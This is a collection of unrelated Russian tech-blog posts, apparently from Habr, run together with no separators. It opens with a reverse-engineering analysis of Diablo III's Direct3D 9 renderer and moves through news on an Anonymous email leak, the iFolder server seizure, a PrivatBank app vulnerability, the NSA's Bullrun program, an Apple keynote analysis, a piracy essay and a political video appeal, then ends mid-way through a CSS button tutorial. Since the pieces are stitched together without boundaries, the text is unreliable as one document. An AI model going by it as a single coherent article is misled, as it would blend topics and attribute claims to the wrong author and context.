Как устроены графические движки популярных игр с мировым именем? Какие технологии применяют разработчики в самых крупных игровых компаниях? Действительно ли, чтобы сделать красивую игровую графику необходимо применять самые передовые технологии современной 3D графики? На эти вопросы мы попробуем ответить на примере рендер части игры Diablo3, от компании Blizzard Entertainment.
Я давно занимаюсь в сфере игровой разработки, и мое хобби реверс-инжиниринг графических движков популярных игровых продуктов. Когда вышел долгожданный сиквел серии Diablo, я сразу захотел узнать, какие технологии использовали разработчики в своем детище.
Рендер игры построен на базе технологии Direct3D 9. Это позволяет покрыть более широкую аппаратную базу видеокарт, а те расширенные возможности, которые предлагает D3D 10 и 11 зачастую либо вовсе не нужны, либо реализуемы теми или иными способами в девятой версии.
Тени
Для всей статической геометрии уровня используются предрасчитанные лайтмапы. Да-да, старый добрый способ, который применяется со времен, когда 3D-акселераторы стали поддерживать мультитекстурирование.
Лайтмапа просчитывается заранее в пакете 3Д моделирования (3ds max, Maya), либо собственным рейтрейсером в редакторе уровней. Одна такая текстура используется для нескольких игровых объектов, либо их частей, если объект крупный (например, террейн).
Для динамических объектов (монстры, фигурки персонажа) используются динамические тени выполненные по технологии “shadow map” (stencil shadows в наше время уже практически не используется). Разработчики решили отступить от классических канонов в этой сфере, и не использовали hardware shadows (текстуры которые могут быть использованы как буфера глубины, и поддерживающие аппаратный Percentage Closer Filtering – PCF), которые предлагают все популярные производителями видеокарт. Вместо этого, была применена технология Variance Shadow Maps. Она позволяет получить мягкие края путем стандартного размытия текстуры тени (для классических карт теней этот метод неприменим, так как усреднение значений глубины пикселя не имеет смысла). Подробности VSM я расписывать не буду (см. полезные ссылки в конце статьи), скажу лишь только, что для ее реализации необходимо хранить 2 значения: глубину пикселя и глубину пикселя в квадрате. Именно второе значение диктует довольно жесткие условия к точности хранения этой информации, поэтому была выбрана текстура формата A32B32G32R32 float. Размер ее при максимальных настройках качества теней 2048х2048.
Процесс создания карты теней стандартный. Рисуем все объекты отбрасывающие тень (окклюдеры) в карту тени с позиции источника освещения. Размываем карту тени сначала по горизонтали, а затем по вертикали. При рендере объектов, которые должны получать тень (ресиверы), семплим шадоу мапу, определяем степень освещенности пикселя и соответственным образом затемняем финальный цвет. Семплинг карты теней должен происходить с билинейной фильтрацией. Аппаратная фильтрация формата A32B32G32R32F поддерживается далеко не всей линейкой shader model 3.0 capable видеокарт, поэтому она реализуется программно, в шейдере (хотя на моей видеокарте она поддерживается, но это не учли).
Рендеринг теней происходит с ортографической проекцией, если тень от направленного (directional) источника (солнце), либо с перспективной для конусовидных (omni). Техники перспективного искажения карты теней (например, Perspective Shadow Maps,Trapezoidal Shadow Maps и др.) для положения камеры используемой в игре (направление взгляда сверху вниз, под небольшим углом к направлению главного источнику освещения) не нужны и не используются. Каскадное разделение теней на сектора (Cascaded Shadow Maps, Parallel Split Shadow Maps) не реализованы по тем же причинам.
Карта тени в разрешении 512х512 со сглаживанием и без:
Шейдер для патча террейна в варианте со сглаживанием состоит из 12 текстурных и 59 арифметических инструкций. Без сглаживания 10 и 29 соответственно. Разница в арифметических инструкциях есть реализация билинейной фильтрации и VSM.
Динамическое освещение
Удивительно, но все динамическое освещение повертексное. Как в старые добрые времена. Никаких карт нормалей в игре нет. Смелое решение, но учитывая финальный результат, очевидно, что он себя оправдал на 100%. Недостатка в детализации геометрии совершенно не ощущается. В вертексном шейдере реализованы один точечный источник света с квадратичной аттенюацией (как в классических FFP формулах), один цилиндрический источник (он используется как подсветка персонажа, для освещения близкого окружения героя) и до 16 точечных источников с простейшей линейной аттенюацией по расстоянию.
В игре реализованы также объемные источники освещения. Сделаны они следующим образом. Рисуем сферу, или другую выпуклую фигуру, в месте источника освещения. В вершинном шейдере высчитываем альфу вертексов на основе нормали и вектора направления камеры. Чем больше угол между ними, тем большая прозрачность должна быть. Получаем полупрозрачную сферу с увеличением прозрачности от центра к краям. Так как эта сфера будет пересекать геометрию уровня, мы получим визуальный артефакт изображения в месте пересечения объектов уровня и самой сферы. Данный недостаток исправляется абсолютно таким же методом, как и делаются так называемые soft particles. Берется выборка из буфера глубины и сравнивается с глубиной отрисовывамого пикселя. Если значения близки, то модифицируя альфу (уменьшая ее до нуля), мы делаем место пересечения геометрий невидимым.
Специальные эффекты
Из интересных эффектов можно выделить проективное текстурирование. Для наложения на поверхность земли текстур различных игровых заклинаний (например, крики варвара, лужи яда, огненные дорожки монстров и т.д.) все эти эффекты рендерятся в отдельную текстуру:
Затем выполняется повторный рендеринг всей геометрии, на которую должно быть выполнено проективное текстурирование с использованием построенного кумулятивного изображения с проецируемыми графическими эффектами. Смешивание изображений выполняется по альфа каналу.
Для некоторых эффектов (пост-процесс, в частности) необходима информация о глубине сцены в данной точке. Стандартные средства Direct3D 9 не позволяют получить буфер глубины как текстуру для последующего чтения. Очевидным вариантом будет рендеринг всей сцены еще раз, с выводом глубины пикселей в текстуру формата R32F. Этот метод в большинстве случаев неприемлем, так как удвоение отрисовываемой геометрии сильно скажется на общей производительности игры. Производители графических адаптеров давно знают об этой проблеме, и предлагают специальные форматы текстур, которые могут использоваться и как текстура в шейдере, и как буфер глубины при рендеринге. Одним из таких форматов является так называемый INTZ формат. Он то и используется в Diablo III. Текстура такого типа используется при рендеринге сцены как depth buffer, а затем значения из нее можно получить в шейдерах, где необходима информация о глубине. Я не знаю, как выполняется рендеринг на аппаратуре, которая не поддерживает INTZ текстуры (не все shader model 3 видеокарты поддерживают данный «хак»), у меня нет видеокарты без такой поддержки. Возможно, выполняется дополнительный проход, либо эффекты, зависящие от глубины, реализуются по-другому, либо совсем выключаются.
Подсветка объектов под курсором реализуется путем рендеринга выделяемого объекта в отдельную текстуру. Шейдер при этом используется простейший – вывод единицы в альфа канал рендер таргета, и цвета выделения в rgb каналы. Затем полученная текстура размывается по горизонтали и вертикали. Для корректного наложения эффекта и получения финального изображения необходимо оставить только ореол объекта, но не его основной силуэт. Имея оригинальное (не размытое) изображение, финальный шейдер наложения проверяет значение альфа канала в этой текстуре. Если он равен 1 (объект в этом пикселе есть), то выводимый альфа канал устанавливается в ноль. Если значение 0 (объекта в этом пикселе нет), то используется альфа канал размытой текстуры.
Пост-процесс эффекты
Количеством пост-процесс эффектов игра похвастаться не может. Среди всего арсенала были замечены bloom, full screen distortion и полноэкранное сглаживание, выполненное по технологии FXAA. Дисторшн реализуется по классической схеме. Отрисовываем партиклы, которые должны привносить искажения в финальную картинку (горячий воздух, например) в специальную текстуру. Записываемые данные являются u и v смещениями текстурных координат. В следующем полноэкранном проходе используем эту текстуру и смещаем текстурные координаты для семплинга основного изображения сцены.
Полноэкранное сглаживание выполнено также как пост-процесс эффект. Причин этому несколько. Использование INTZ буфера глубины становится невозможным (нельзя создать чистый multisampled INTZ depth buffer для последующего копирования его в non-multisampled INTZ текстуру), и shadow map будет занимать очень много памяти (напомню, что ее формат A32R32G32B32F, т.е. 16 байт на пиксель). Полноэкранное сглаживание в игре выполнено по технологии Fast Approximate Anti-Aliasing (FXAA).
Геометрия и материалы
Все данные вершин игровых моделей упакованы в cache-friendly 32 байт формат. Исключение составляют анимированные модели, там 48. Дополнительные данные это веса костей их индексы. В игре используется скелетная анимация, которая выполняется в шейдере. По этой причине для анимированных моделей количество точечных источников ограничено семью, из-за нехватки константных регистров для хранения параметров источников освещения и матриц костей.
Общее количество draw call’s невелико. Значение колеблется в пределах 300-800 DIP, что является хорошим показателем.
Шейдера выполнены по технологии uber-shader, т.е. компиляция множества вариантов одного эффекта с помощью перебора набора дефайнов препроцессора. Например эффект может быть с туманом и без, с тенью и без, с лайтмапой и без. За туман, тень и лайтмапу отвечает определенный define вида: #define USE_FOG 1. В теле шейдера блок кода, отвечающий за наложение тумана выполнен внутри блока #if USE_FOG … #endif. Таким образом переключая значение USE_FOG 1/0, мы получаем шейдер с туманом и без. Схожим образом делаются и все эффекты. Система сборки всех вариантов шейдеров, автоматически перебирает весь набор значений дефайнов, и для каждого набора компилирует шейдер.
Пользовательский интерфейс
Внутриигровой интерфейс отрисовывается на экран довольно стандартно. Особой группировки элементов с целью уменьшения вызовов на отрисовку (DIP calls) не наблюдается. Хочется отметить рендеринг текста. Подготовка символов для рендера очень похожа на метод используемый в Scaleform GFX. Все уникальные символы отрисовываются в отдельную текстуру, и уже эта текстура используется для рендеринга текста. Не смотря на схожесть текстового рендера, сам Scaleform не используется.
Послесловие
Сам рендер оставляет приятные впечатления. Такой себе микс олдскула и некоторых современных веяний. Производительность на высоте при красивой картинке (как всегда у игр от Blizzard, собственно). Большую роль в этой всей красоте отыгрывает работа художников и дизайнеров. Diablo III еще раз доказывает, что очень красивую графику можно сделать и на не самом технологичном рендере.
Полезные ссылки
— Variance Shadow Maps. www.punkuser.net/vsm/
— FXAA. developer.download.nvidia.com/assets/gamedev/files/sdk/11/FXAA_WhitePaper.pdf
— Список известных GPU «хаков». aras-p.info/texts/D3D9GPUHacks.html
Недавно Anonymous взломали и выложили в сеть деловую переписку лидеров молодежного движения НАШИ (Якеменко, Потупчик), а так же чиновников(Хорохордин, Чугунов). От контента тошнит, объяснили хакеры.
twitter.com/Op_Russia
vk.com/wall-33876035_448
rumol-leaks.livejournal.com/
lj.rossia.org/users/kremlingate/
vk.com/op_russia
vk.com/public_op_russia
www.guardian.co.uk/world/2012/feb/07/putin-hacked-emails-russian-nashi
horohordin.livejournal.com/
ultrazashkvar.livejournal.com/
karasique.livejournal.com/
UPD: хаброюзер Borodean дал ссылку на луркоморье, где можно получить более подробную информацию о текущих событиях. Хотя стиль письма там оставляет желать лучшего…
Сервис iFolder закрыт следователями 3-й СЧ ГСУ при ГУВД Москвы.
Сегодня, 17.03.2010 в помещении дата-центра, находящегося по адресу 2-ая ул. Энтузиастов д. 5, появились следователи из 3-й ЧС ГСУ при ГУВД Москвы. Они предъявили протокол о необходимости проведения оперативно-розыскных мероприятий с целью поиска улик, размещенных на сайте iFolder.ru
Администрация сервиса предложила сотрудникам оказать максимальное содействие в поиске и получении нужной информации, а также в установлении личности пользователя, который ее разместил. Однако сотрудники милиции отказались от любой помощи и попытались вывезти ВСЕ оборудование Агавы, размещенное в этом дата-центре, для проведения собственной экспертизы. В результате переговоров вывоз оборудования удалось предотвратить, но, к сожалению, в качестве «альтернативы» сотрудники МВД выключили и опечатали все сервера проекта iFolder, а также и другие сервера компании, не имеющие никакого отношения к проекту.
Компания Агава считает произошедшее беспрецедентным событием, которое ставит под угрозу и сомнение факт существования и развития любого бизнеса в Рунете. Мы намерены бороться и отстаивать интересы сервиса и его клиентов, а также заранее благодарим клиентов за информационную или любую другую помощь в этом деле.
p.s. Хостинг сервера, к счастью, не затронуты.
КПИшник Алексей Мохов, бывший сотрудник украинского Samsung и Viewdle, нашел уязвимость в Android-приложении «Приват24». ПриватБанк ответил неожиданно, обвинив программиста в попытке украсть средства со счетов клиентов банка.
Как сообщается на украинском портале студгазеты КПИ
Со слов Алексея:
Сейчас я занимаюсь софтом для служб такси в Киеве (как-то так вышло, что занесло в эту степь, раньше работал в Samsung & Viewdle). Так вот. Стояла задача периодически проверять баланс банковских карт ПриватБанка ну и если надо — переводить средства на другую карту. Почему ПриватБанка? Потому что у них одна из самых больших сетей ТСО (терминалов самообслуживания). Схема такова — таксист подходит к ТСО, приложение для пополнения счета в такси запрашивает номер карты, система выдает ему карту и ожидает поступления средств. Как только средства упали на карту — зачисляет средства в системе такси.
В ходе исследования протокола связи с банком я заметил пару ошибок в системе безопасности. Начал глубже копаться в них. Оказалось, что банк позволял еще и переводить средства с карты на карту хоть в другой банк, хоть в другую страну (через Visa/Mastercard). Это помимо доступа к конфиденциальным данным человека (баланс, счета, кредиты, депозиты в банке).
После проведения экспертизы я написал об этом в твиттер, связавшись с аккаунтом ПриватБанка. Помимо этого написал сотруднику ПриватБанка в Днепропетровск, чтобы на меня быстрее вышла Служба безопасности банка.
В тот же день вечером ПриватБанк из штабквартиры в Днепре написал служебку в Киевское отделение Привата на Печерске, написали само собой в отдел СБ. Со мной созвонился представитель Привата В. Максименко и предложил встретиться, показать и рассказать что там да как. Произвел впечатление опытного специалиста, никто не давил на меня (вроде даже и не думали).
Ну я приехал, показал и рассказал, как программисты Привата допустили дыру в безопасности. Показал, как можно подставить в принципе любого человека, даже председателя правления Привата. Еще я подменил официальное приложение банка (добавил в него свой код) и показал, что можно сделать с ним. Почти нереально отличить официальное от модифицированного. Они в шоке были, отдел из 8-10 человек в комнате, — все работают и в пол-уха слушают мой монолог про все эти дела.
«Нужно понимать, что он хакер. В цивилизованных странах это уже преступление. Изъян в системе, который он нашел, не является страшным, не особенно угрожает клиентам банка. Как только Мохов попытался перевести чужие деньги, наша система безопасности забила тревогу. Его бы обязательно нашли», – говорит начальник пресс-службы «ПриватБанка» Олег Серьга.
В результате ПриватБанк начал расследование попытки взлома своей системы безопасности программистом Алексеем Моховым, который ранее работал в компании Samsung и проекте Viewdle. В ближайшие две недели руководство банка решит, возбуждать ли дело по этому факту.
Как всегда после каждой презентации компании с 1 Infinite Loop интернет заполняется «белым шумом», состоящим как из восторженных воплей, так и из криков ненависти.
Как обычно, основная масса интернет-аудитории концентрируется на том, что им кажется самым главным — на мегапикелях, на процессоре, на многозадачности. И все упускают то, о чем Джобс говорит чуть ли не прямым текстом:
- Retina Display + iBooks vs. Amazon + Kindle/Barnes&Noble + Nook/...
- 1 млрд долларов vs. Android Marketplace.
- FaceTime vs. Skype
- Гироскоп vs. Nintendo DS/Sony PSP
Те, кто еще не понял, прошу под кат
Retina Display + iBooks + eBay vs. Amazon + Kindle/Barnes&Noble + Nook/...
В течение презентации Джобс сообщает массу интересной информации, которую достаточно просто объединить и сделать выводы.
1. iBooks + iBookStore
На данный момент продано около 5 миллионов книг, по 2,5 на каждый iPad. Казалось бы — ну и что? Если взять на веру слова Джобса, окажется, что эти книги уже составляют 22% от (полагаю, электронных) книг, продаваемых четырьмя крупнейшими издательствами в Штатах.
22% за восемь недель жизни iPad'а. Если тенденция сохранится, то Apple с легкостью захватит если не бóльшую, то внушительную часть рынка электронных книг. Учитывая, что за последние два года этот рнок рос, как на дрожжах (176%) и грозит достичь 500 миллионов долларов в 2010-м году, этот кусок очень лакомый.
2. iPad
За восемь недель Apple продали 2 миллиона iPad'ов. Amazon изо всех сил скрывает данные по продажам Kindle'а, но считается что всего, за два года существования этой читалки, их было продано… 3 миллиона единиц.
При этом Amazon занимает 60% американского рынка е-читалок. Неутешительное сравнение для лидера, ообенно учитывая неожиданную(?) популярность iBookStore.
3. Журналы
Помимо возможности читать книги, многие читалки также рекламируют возможность читать любимые журналы и газеты (например).
Здесь, в принципе, и говорить не о чем. Достаточно увидеть демонстрацию журнала Wired для iPad'а (по ссылке 5 видеороликов, советую просмотреть все).
4. Retina Display.
Недаром Джобс в самом начале, и достаточно долго говорит именно о буквах и отображении текста. Недаром первое, что он показывает — это страница онлайн-издания с текстом (а не фотографиями). Недаром он говорит о том, что человеческий глаз различает не более 300 точек на дюм при том, что экран в новом айфоне — 326 точек на дюйм.
Все это сводится к простому предложению: «мы даем вам прекрасную альтернативу e-ink'у». И очень прозрачно читается намек: ждите этот экран на iPad'ах в следующем году.
Во время презентации четвертого айфона Безос (президент Амазона) должен был пить корвалол лошадиными дозами. Ничего даже близко похожего Амазон пока не предлагает. А если бы и предложил, против них играет следующий пункт.
1 млрд долларов vs. Android Marketplace
Эта часть презентации должна была заставить сердца разработчиков забиться сильней. «Мы выплатили разработчикам приложений в AppStore около 1 миллиарда долларов».
Это — прямой удар по Android Marketplace. Многие разработчики (и особенно — разработчики игр) жалуются на невозможность заработать хоть сколько значимые деньги на андроиде. Действительно, политика «мы вернем деньги за приложение за 24 часа» радует пользователей, но сильно бьет по многим разработчикам. И Apple прекрасно это осознает.
Миллиард долларов всем и никто не уйдет обиженый. Кто же откажется от возможности ухватить этот кусок пирога?
FaceTime vs. Skype
«Фи. Только Wi-Fi. Только iPhone4 с iPhone4. Как можно это гуано называть инновацией?» Так примерно описывают видеозвонки яблофобы.
Но давайте посмотрим эту презентацию буквально на минуту больше и посмотрим, что на самом деле предлагает Джобс. А он предлагает, ни много ни мало, стандартизировать протокол FaceTime. Он предлагает сделать его открытым стандартом и говорит о том, что он уже основан на известных, доступных и открытых стандартах (то, что он называет «алфавитной кашей» в презентации).
То есть годик-другой и, глядишь, начнем общаться Android <-> iPhone и никто слова против не скажет. Apple'у осталось договориться с ОПСОС'ами насчет 3G. Да и проникновения FaceTime'а на десктопы тоже, возможно, только вопрос времени.
Гироскоп vs. Nintendo DS/Sony PSP
Когда вышел iPhone с акселерометром, он тоже был «не нужен». Оказалось, что не только нужен, но и во всю используется в различных приложениях и — главное! — в играх.
На презентации iPhoneOS 4 Джобс показал любопытный слайд:
Только вдумайтесь в эти цифры.
В мире продано около 50 миллионов айфонов, около 60 миллионов PSP и около 129 миллионов Nintendo DS. iPhone (а теперь и iPad) стали прямыми конкурентами мобильным игровым приставкам. При этом они предлагают дополнительные возможности по сравнению с ними — акселерометр, а теперь еще и гироскоп.
iPhone и iPad, безусловно, уступают специализированному процессору той же PSP, но Apple перетягивает на себя одеяло казуальных игр, рынок которых может достигнуть 13 миллиардов долларов
Ну и что?
За всеми спорами о мегапикселях, многозадачности, скорости процессоров, железе в корпусе и т.п. спорщики не видят самого главного. Apple (пусть и на время) не собирается устраивать технических революций. По большому счету она их никогда и не устраивала (все, что показывает Apple или было реализовано до них или было известно десятилетиями — см. multitouch).
Apple поступает по-другому. Они предлагают удобный в использовании продукт, которые не только формирует новый рынок («таблетки»/планшеты), но и вторгается в другие рынки (электронные книги, казуальные игры, до этого — с айподом — музыкальный рынок). При этом они умудряются сделать это легко, ненапряжно, и только наращивая темпы сбыта продуктов и захвата новых ниш.
Именно это должно интересовать нас, как разработчиков и пользователей, а не технические спецификации устройств, которые и так похожи друг на друга, как близнецы-братья. Вот что эти устройства позволяют своим компаниям сделать — это уже очень и очень интересный вопрос.
Свежая порция секретных документов от Эдварда Сноудена дает понять, каким образом Агентству Национальной Безопасности США удается обходить криптозащиту Интернет-коммуникаций.
Сразу в трех изданиях (The Guardian, The New York Times и ProPublica) были выложены выдержки из секретного бюджета АНБ, согласно которым с 2000 года, когда стали массово внедрятся средства шифрования, спецслужбы США потратили миллиарды долларов на взлом криптографии в рамках секретной программы Bullrun (названа в честь первого крупного сражения Американской Гражданской войны, произошедшего 21 июля 1861 года возле Манассаса, штат Виргиния).
Деятельность Агентства не ограничивалась научными исследованиями алгоритмов и строительством дата-центров для взлома коммуникаций методом перебора ключей. Выяснилось, что Агентство давно и успешно работает с IT-компаниями по вопросу встраивания в их продукты закладок для спецслужб США, а также ведет работу по обнаружению уязвимостей в механизмах шифрования и целенаправленному ослаблению международных алгоритмов защиты данных (сообщается о неназванном международном стандарте шифрования, принятом Международной организацией по стандартизации в 2006 году). На одно только встраивание бэкдоров в популярные коммерческие продукты, в рамках программы SIGINT, ежегодно тратится 250 млн. долларов.
Согласно документам, наибольшие усилия предпринимаются для взлома протокола SSL, обеспечивающего безопасность большинства коммуникаций в современном Интернете. VPN и технологии защиты 4G также являются одними из приоритетных направлений. АНБ поддерживает внутреннюю базу данных ключей шифрования, позволяющую мгновенно расшифровывать соединения. Если же необходимых ключей не оказывается, то запрос переходит к специальной «Службе восстановления», которая пытается получить его различными способами.
Несколько опубликованных документов
Вместе с АНБ в программе участвовал GCHQ (Government Communications Headquarters, Центр правительственной связи) — британская спецслужба, ответственная за радиоэлектронную разведку и защиту информации государственных органов. По информации The Guardian, в течение трех лет она разрабатывала способы взломов зашифрованных данных, проходящих через Hotmail, Google, Yahoo и Facebook. Согласно документам, к 2012 GCHQ разработал «новые возможности доступа» в системы Google.
Как отмечает The New York Times, полученные от Сноудена документы свидетельствуют о том, что АНБ считает возможность расшифровывать информацию одним из своих приоритетов и «соперничает в этой области со спецслужбами Китая, России и других стран». «В будущем сверхдержавы будут появляться и приходить в упадок в зависимости от того, насколько сильными будут их криптоаналитические программы. Это цена, которую должны заплатить США чтобы удержать неограниченный доступ к использованию киберпространства», — цитирует газета документ АНБ от 2007 года.
В полной мере возможности АНБ в области дешифровки известны только ограниченному кругу организаций, так называемой «Пятерке Глаз»: АНБ и их коллеги в Великобритании, Канаде, Австралии и Новой Зеландии.
В последнее время все больше крупных компаний стали переходить на специальные аппаратные решения для организации VPN и криптографии, поэтому на 2013 год АНБ планировало либо встроить аппаратный бэкдор в чипы шифрования через производителя, либо обнаружить и негласно использовать уже имеющиеся уязвимости в реализации. Что именно происходит сейчас неизвестно, т.к. документам Сноудена уже несколько лет.
Известный специалист по криптографии Брюс Шнайер высказал мнение в The Guardian, что «правительство США предало Интернет» и уже опубликовал свои рекомендации как (попытаться) избежать слежки АНБ.
Вчера вон там появилась блогозапись уважаемого forgotten о том, какою интересною была бы система безлимитного доступа к лицензионному контенту за фиксированную абонентскую плату, вносимую помесячно.
> 600
комментов |
Многие из вас оставили там комментарии, посвящённые целому ряду животрепещущих вопросов, как-то: можно ли считать «пирата» ещё и «вором», а не то и «насильником»; каков был бы приемлемый размер такой абонентской платы (достаточно ли двухсот рублёв, или надобно полтыщщи); уместно ли хрустеть попкорном в кинотеатре во время просмотра; что случается, когда приходится разлочить беспроводной модем для работы под Линуксом или истребовать с парикмахера кучу деньжищщ за некорректную пострижку; похожа ли эта схема на ту, которою в своей деятельности руководствуется печально и мрачно известное нам РАО; способна ли такая система стать приемлемою на Камчатке, где за 64 kbps безлимита дерут астрономическую сумму (шесть тыщщ рублёв!); пожелает ли правоторговец вообще подсоединяться к этакой системе (не поощрит ли он тем самым своих конкурентов); возможно ли грабить и расшаривать стримы в торрентах парой-тройкой-другою движений мыши; будут ли правоторговцы делиться с авторами, и если да, то как; не достаточно ли концертов для вознаграждения исполнителей. |
К сожалению, почти не была никем затронута тема более высокого качества нелицензионного контента по сравнению с лицензионным. Только TheShock вспомнил и привёл превосходную картинку о том, что правоторговцы в нагрузку к видеозаписям обожают «впаривать» и непропускаемые предупреждения о недопустимости копирования диска, и рекламу других фильмов, так что всё это неимоверно «достаёт» зрителя даже прежде, чем он приступит к просмотру желаемого фильма:
Хорошо, но мало. Предлагаю погрузиться в эту проблему чуть глубже и понаблюдать те случаи, когда не только сопутствующая хрень, но даже и сама лицензионная видеозапись бывает зрителю настолько не нужна, что он всецело готов с превеликой благодарностью прибегнуть к услугам так называемых «пиратов» и даже полагать их благодетелями человечества.
Сотни и тысячи любителей телесериалов посещают сайт TV Underground, где достают гиперссылки на телесериалы, позволяющие добыть их по файлообмену (при помощи сети ed2k, или Kad, или торрентов). Ежемесячно всем миром собирают полкилобакса на поддержание работоспособности этого сайта и сопутствующего ему поискового ed2k-сервера.
Сотни и тысячи любителей видеофильмов и кинофильмов посещают сайт ShareTheFiles (где нетрудно раздобыть ed2k-гиперссылки желаемых фильмов) или торрентовые трекеры, где невозбранно достигают желаемого.
Сотни и тысячи любителей аниме посещают сайт AnimeTake, сегодня утром прилёгший по неизвестной причине, но до этого позволявший раздобывать видеозаписи аниме либо при помощи торрентов, либо с файловых хостингов, также называемых «файлообменниками» (Megaupload, Hotfile, FileServe, и им подобных). К их услугам также сервер AniDB, хранящий массы ed2k-хэшей аниме (вообще-то в целях идентификации и контроля целостности файлов, но и для файлообмена по сетям ed2k и Kad они годятся).
Что ищут там все эти люди? Чего дают им «пираты», но не могут дать правоторговцы?
Во-первых, доступность культурного продукта. Сериал, фильм, аниме, вышедшие за рубежом, часто просто невозможно приобрести в России легально. Ненавистное с советских времён «не завезли», которое и преодолевается файлообменом XXI века.
Во-вторых, оперативность распространения культурного продукта. Сериал, фильм, аниме, вышедшие за рубежом, нередко появляются в России в легальном виде только через полгода, или год, или даже через несколько лет, да и то сперва на экранах кинотеатров, затем на экранах зомбоящиков, и только после того — для домашнего просмотра. К тому времени они утрачивают актуальность. «Пиратский» файлообмен делает их доступными в день выхода в стране происхождения — или на следующий же день.
В-третьих, доступ к подлинной звуковой дорожке. Актёр играет не только мимикою, жестами, позою, но также и голосом, дыханием, тембром, интонациями речи. Какой бы талантливою не была сотрудница закадровой озвучки, она всё же не Моника Белуччи и не Риэ Кугимия (на фото справа), ужé поэтому всякий голосовой перевод является преступлением перед культурной ценностью первоисточника, а ведь при озвучке нередко ещё и забивают (или приглушают) естественный шумовой фон, закадровую музыку, звуки спецэффектов, и так далее. В «пиратском» файлообмене видеозапись доступна с нетронутым звуком, а перевод даётся субтитрами, которые либо в готовом виде включаются в видеоконтейнер (как у большинства «запираченных» аниме), либо раздобываются желающими из альтернативных источников (скажем, с сайта Subscene). В лицензионных видеозаписях, продаваемых в России, первоначальный звук встречается всё реже и реже.
В-четвёртых, возможность отказаться от некачественного перевода. В LJ-сообществе sadtranslations приводится несколько тысяч примеров диких ляпов в переводах фильмов и телесериалов. (Наиболее вопиющие анимированы на иллюстрации справа.) Однако в «пиратском» варианте зритель, как правило, получает возможность выбора из нескольких вариантов перевода — от нескольких различных «пиратских» групп или отдельных переводчиков-нелегалов. А если зритель также знает английский язык — пускай и не настолько, чтобы схватывать с голоса, но в достаточной мере для чтения — то перед зрителем также открывается возможность смотреть англоязычный фильм с англоязычными же субтитрами (огрехи в которых он способен оценить самостоятельно), возможность смотреть аниме с англоязычными субтитрами (качество перевода в которых обыкновенно бывает получше, чем у российских переводчиков). В лицензионных видеозаписях, продаваемых в России, перевод бывает только один, и если он не отличается качественностью — значит, не повезло. Изготовление же собственного перевода без согласия правоторговца незаконно, а согласия он не даст.
Меня зовут Иннокентий Скирневский, я руководитель Студии Трейлеров. Сегодня речь пойдёт об очень важном для меня проекте. Но для начала краткое вступление.
Пишу как есть. Моему аккаунту на Хабре уже больше 3 лет и я прекрасно знаю, как негативно воспринимаются любые просьбы по отношению к хабрусообществу.
Но сегодня я готов обменять вашу лояльность на своё участие в жизни Хабра. Если ролик и текст, который идёт ниже вам будет не по нраву, или Вы лично испытываете негатив ко мне или к Студии Трейлеров, то пожалуйста минусуйте меня, а не пост. Вот моя карма, чтобы вам было проще: Nos_S_Dest.
Карма зарабатывалась долго и дублирующих аккаунтов у меня нет. Если я уйду в минус, то обещаю больше никоим образом не беспокоить Хабр. Кармы много, но и вас не мало, всё в ваших руках.
Теперь к делу.
В 2009 году мы сделали 2 социальных ролика: Ролик Чиновников и Ролик Деда Мороза. Сейчас я хочу вам представить новый ролик.
К сожалению, фактически мы уже не успели его запустить. Публикуя ролик 30 декабря мы почти подписываем ему смертный приговор. Он просто не успеет разойтись, а после Нового года распространение останавливается (проверено на практике).
Поэтому, я очень прошу вашей помощи. От того, как этот ролик разойдётся зависит дальнейшая судьба наших будущих проектов. Публикуйте его в блогах, пишите о нём твиттерах, в соц. сетях, на ваших сайтах. Рассылайте его по скайпу и аське, просите ваших друзей опубликовать его. Мы хотим продолжать дело, которое начали этим роликом, без вас мы не справимся.
Большое спасибо всем, кто вместе с нами работал над роликом.
Ролик Деда Мороза 2: Ответ Старика:
Официальный анонс:
Новый Год — отличный повод внести в свою жизнь изменения, порвать со старыми вредными привычками и начать что-то новое и полезное. Перейти от констатации фактов к каким-нибудь действиям. Два года мы жалуемся на беспредел и хаос в стране. Два года разоблачаем и просим власть наказать, помочь, наградить. Youtube скоро лопнет от количества посланий, обращений и призывов.
Мы ждём, что кто-то там, наверху, в Кремле или где-то ещё, нас услышит, придёт на помощь, наведёт порядок. Но, если подумать — не староваты ли мы с вами, чтобы продолжать верить в Деда Мороза, по волшебству исполняющего наши желания? Так чего удивляться, что власть относится к нам, как к детям, рассказывая сказки и балуя конфетами по праздникам? Лишь бы мы не отвлекали её от важных взрослых занятий, которые нас не касаются, и вообще — не нашего ума дело?
Пускай канун Нового Года — это время волшебства, но может хватит уже надеяться на чудо? Мы же способны не только кричать о своих проблемах, мы вполне в силах начать какие-то из них решать. Все вместе. На Youtube хватит места и для советов, и для ответов на вопросы, и для руководств к действию. И пусть по началу не всё будет получатся красиво и эффективно. Здесь не существует правил. Можно только начать делать и учится на собственном опыте.
В третьей серии «Властелина колец» есть очень красивая сцена, в которой жители осаждённого города просят помощи, зажигая сигнальный огонь. На отдалённых вершинах гор его замечают и зажигают свой — и так далее, по цепочке. Этот огонь, от одной сигнальной точки к другой, проходит через горы, пока не достигает адресата. Сейчас мы можем видеть нечто подобное в сети — когда сигнал начинает свой путь от одного компьютера к другому, пока не находит того, кто может оказать помощь. От нас требуется лишь не прерывать цепь. Что мы, в частности, и будем делать на сайте bidlo.tv, где обязуемся собирать не только рассказы о проблемах, но и советы по их решению.
Ведь наша страна — это не Путин с Медведевым, не синие мигалки, не сотни километров нефте- и газопровода. Наша страна — это мы с вами. Простые и не очень люди. Власть будет обращаться с нами как с малыми детьми ровно до тех пор, пока не увидит, что мы уже выросли. Что умеем принимать самостоятельные решения и не боимся воплощать их в жизнь. И «Ролик Деда Мороза 2» — это не вирус и не реклама. Это мы зажигаем наш сигнальный огонь и, затаив дыхание, ждём…
Здравствуйте, друзья. За последний месяц я экспериментировал с псевдо-элементами, особенно, с их использованием в создании кнопок. Таким образом, удалось создать крутые эффекты, которые раньше можно было сделать только со спрайтами.
В этом уроке я покажу как создать кнопку с изюминкой, используя только якорный тег и мощь CSS.
Используется шрифт «Open Sans» Стива Мэттсона.
Дисклеймер
Я не буду использовать CSS префиксы в данных примерах, но вы найдете их в исходных файлах.
Я не использовал свойство transition, потому что только Firefox поддерживает его в псевдо-элементах. Кроме этого, я считаю что кнопки работают хорошо и без его использования.
Разметка
Для работы всех кнопок пригодится только якорь, все остальные элементы мы будем создавать с помощью псевдо-класса ::before.
<a href="#" class="a_demo_one">
Click me!
</a>
Первый пример
Я думаю это самый легкий пример, который делается обычным CSS.
Стили
Прежде всего, зададим основные стили для кнопки в обычном и активном состоянии. Обратите внимание, что кнопка позиционирована относительно. Это поможет при позиционировании элемента ::before:
